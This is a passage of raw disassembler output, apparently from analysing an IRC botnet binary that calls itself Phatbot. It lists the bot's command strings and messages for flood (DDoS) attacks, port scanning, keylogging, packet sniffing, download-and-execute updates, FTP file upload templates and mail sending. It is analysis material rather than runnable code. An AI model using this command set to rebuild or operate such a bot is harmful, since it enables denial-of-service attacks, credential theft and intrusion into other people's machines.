202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Fo dword_42A420 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o ; sub_401ACD+7C48o unk_42A42C db 2Dh ; - ; DATA XREF: sub_401ACD+70B0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Fo align 4 dword_42A454 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7074o dd 25203A29h, 73h dword_42A470 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7005o dd 203A2973h, 7325h dword_42A48C dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FAAo dword_42A494 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F7Ao dd 203A2973h, 7325h dword_42A4B0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o dword_42A4BC dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECFo ; sub_401ACD+6F58o ... dword_42A4C4 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E96o dword_42A4CC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E85o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A508 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E16o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42A534 db 2Dh ; - ; DATA XREF: sub_401ACD+6D86o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A570 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Bo db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A5A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408746o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_42A5D8 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Eo dd 7325h dword_42A5F0 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408674o dword_42A604 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B63o ; sub_401ACD+6C15o ... dword_42A614 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D1o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A65C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AFAo aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A698 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Bo aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E3o align 10h dword_42A6D0 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6981o dd 7325203Ah, 0 unk_42A6EC db 2Dh ; - ; DATA XREF: sub_401ACD+6976o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 10h unk_42A710 db 2Dh ; - ; DATA XREF: sub_401ACD+68DCo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A74C db 2Dh ; - ; DATA XREF: sub_401ACD+6866o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A77C dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Co ; sub_401ACD:loc_409367o unk_42A788 db 2Dh ; - ; DATA XREF: sub_401ACD+678Ao db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A7AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408235o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A7E4 db 2Dh ; - ; DATA XREF: sub_401ACD+675Eo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A81C db 2Dh ; - ; DATA XREF: sub_401ACD+66EEo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A848 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Bo aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A884 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FCo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A8B4 db 2Dh ; - ; DATA XREF: sub_401ACD+6583o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A8EC db 2Dh ; - ; DATA XREF: sub_401ACD+6514o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A91C db 2Dh ; - ; DATA XREF: sub_401ACD+648Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A954 db 2Dh ; - ; DATA XREF: sub_401ACD+641Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+63A2o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A9BC db 2Dh ; - ; DATA XREF: sub_401ACD+6333o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A9F8 db 2Dh ; - ; DATA XREF: sub_401ACD+62BAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42AA38 db 2Dh ; - ; DATA XREF: sub_401ACD+624Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42AA64 db 2Dh ; - ; DATA XREF: sub_401ACD+617Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42AAA8 db 2Dh ; - ; DATA XREF: sub_401ACD+610Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42AAE4 db 2Dh ; - ; DATA XREF: sub_401ACD+6010o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 10h aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F64o align 10h aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E87o align 10h dword_42AB40 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF3o ; sub_401ACD+715Bo unk_42AB4C db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42AB88 db 2Dh ; - ; DATA XREF: sub_401ACD+5D20o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42ABD8 db 2Dh ; - ; DATA XREF: sub_401ACD+5C89o ; sub_401ACD+607Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42AC10 db 2Dh ; - ; DATA XREF: sub_401ACD+5C1Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42AC78 db 2Dh ; - ; DATA XREF: sub_401ACD+5AA4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 4 unk_42ACAC db 2Dh ; - ; DATA XREF: sub_401ACD+5A47o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 10h unk_42ACE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F4o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 10h unk_42AD10 db 2Dh ; - ; DATA XREF: sub_401ACD+5920o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5907o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58F0o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CDo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A9o ; ___:00411C62o align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5898o align 10h unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+584Eo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 10h aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Bo align 4 unk_42ADA8 db 2Dh ; - ; DATA XREF: sub_401ACD+57F5o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42ADE8 db 2Dh ; - ; DATA XREF: sub_401ACD+5798o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42AE20 db 2Dh ; - ; DATA XREF: sub_401ACD+572Do db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AE68 db 2Dh ; - ; DATA XREF: sub_401ACD+567Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42AE9C db 2Dh ; - ; DATA XREF: sub_401ACD+5648o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 10h unk_42AED0 db 2Dh ; - ; DATA XREF: sub_401ACD+5624o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42AF08 db 2Dh ; - ; DATA XREF: sub_401ACD+5582o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o align 4 unk_42AF5C db 2Dh ; - ; DATA XREF: sub_401ACD+5550o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42AF94 db 2Dh ; - ; DATA XREF: sub_401ACD+54E1o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42AFDC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406F00o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42B014 db 2Dh ; - ; DATA XREF: sub_401ACD+5429o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42B04C db 2Dh ; - ; DATA XREF: sub_401ACD+53AFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 10h aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Fo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5398o unk_42B090 db 2Dh ; - ; DATA XREF: sub_401ACD+52FDo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52EDo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D6o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+5260o align 10h aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Do unk_42B0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+51FEo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+518Ao db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Fo align 10h aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5088o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5071o align 10h aP: ; DATA XREF: sub_401ACD+505Ao ; ___:00438308o ... unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5043o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Co align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5015o align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFEo aU: ; DATA XREF: sub_401ACD+4FE7o ; ___:00438300o ... unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FD0o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB9o align 4 aAdv db 'adv',0 ; DATA XREF: sub_401ACD+4FA2o aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Bo aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F74o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Do align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F37o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F20o align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F09o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF2o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDBo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC4o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EADo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E96o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Fo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E68o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E51o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E3Ao align 4 dword_42B218 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Do aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B254 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBEo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Bo align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D24o ; sub_401ACD+52BEo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Do align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD+4D00o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C29o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C12o ; sub_412B09:loc_412C35o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_412B09:loc_412C19o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE4o ; sub_412B09+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCDo ; ___:00438338o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB6o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Do align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B76o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Fo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B48o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B31o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B1Ao align 4 aE: ; DATA XREF: sub_401ACD+4B03o ; ___:004382F0o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AECo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD5o align 4 aJpDe10 db 'jp]de10',0 ; DATA XREF: sub_401ACD+4ABEo aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA7o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A90o align 10h aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A79o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A62o ; sub_401ACD+6BE8o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Bo aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A34o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Do align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A06o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EFo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D8o align 10h aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C1o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49AAo align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4993o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Co align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4965o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Eo align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4937o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+4920o align 10h aM: ; DATA XREF: sub_401ACD+4909o ; ___:00438348o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DBo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C4o align 10h aA: ; DATA XREF: sub_401ACD+48ADo ; ___:0043830Co unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4896o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4868o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4851o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+483Ao align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4823o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Co aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E3o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CEo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B9o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A4o unk_42B428 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406266o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B444 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Fo ; sub_409B13+5F0o align 10h unk_42B470 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 10h unk_42B490 db 2Dh ; - ; DATA XREF: sub_401ACD+4748o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B4B0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406194o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 10h unk_42B4D0 db 2Dh ; - ; DATA XREF: sub_401ACD+46BDo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: sub_401ACD+466Fo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Bo align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4611o align 10h aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F7o align 4 unk_42B518 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B538 db 2Dh ; - ; DATA XREF: sub_401ACD+45E0o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45AAo align 4 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4578o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4554o dword_42B5A0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4549o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42B5DC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44DAo aKeyLoggerActiv db '- Key logger active.',0 align 10h dword_42B600 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4458o aAlreadyRunning db '- Already running.',0 align 10h dword_42B620 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Fo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42B64C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4438o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F9o align 10h aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D7o align 4 dword_42B698 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E99o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42B6B8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C2o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 10h dword_42B6F0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4392o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B724 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4345o aServerRunnin_0 db '- Server running on Port: 113.',0 align 10h dword_42B750 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4335o aAlreadyRunni_0 db '- Already running.',0 align 10h aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4302o align 4 unk_42B778 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC4o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B7A8 db 2Dh ; - ; DATA XREF: sub_401ACD+42EDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+42BDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B824 db 2Dh ; - ; DATA XREF: sub_401ACD+424Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+41E7o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41B0o dword_42B87C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C72o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B8A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Bo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42B8E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Bo aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 10h dword_42B920 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FCo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 10h dword_42B950 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4095o aAlreadyRunni_2 db '- Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_401ACD+4075o ; sub_401ACD+41C7o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Eo align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4049o align 10h aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4034o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Fo align 10h aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+400Ao aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF5o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FE0o aV: ; DATA XREF: sub_401ACD+3FCBo ; 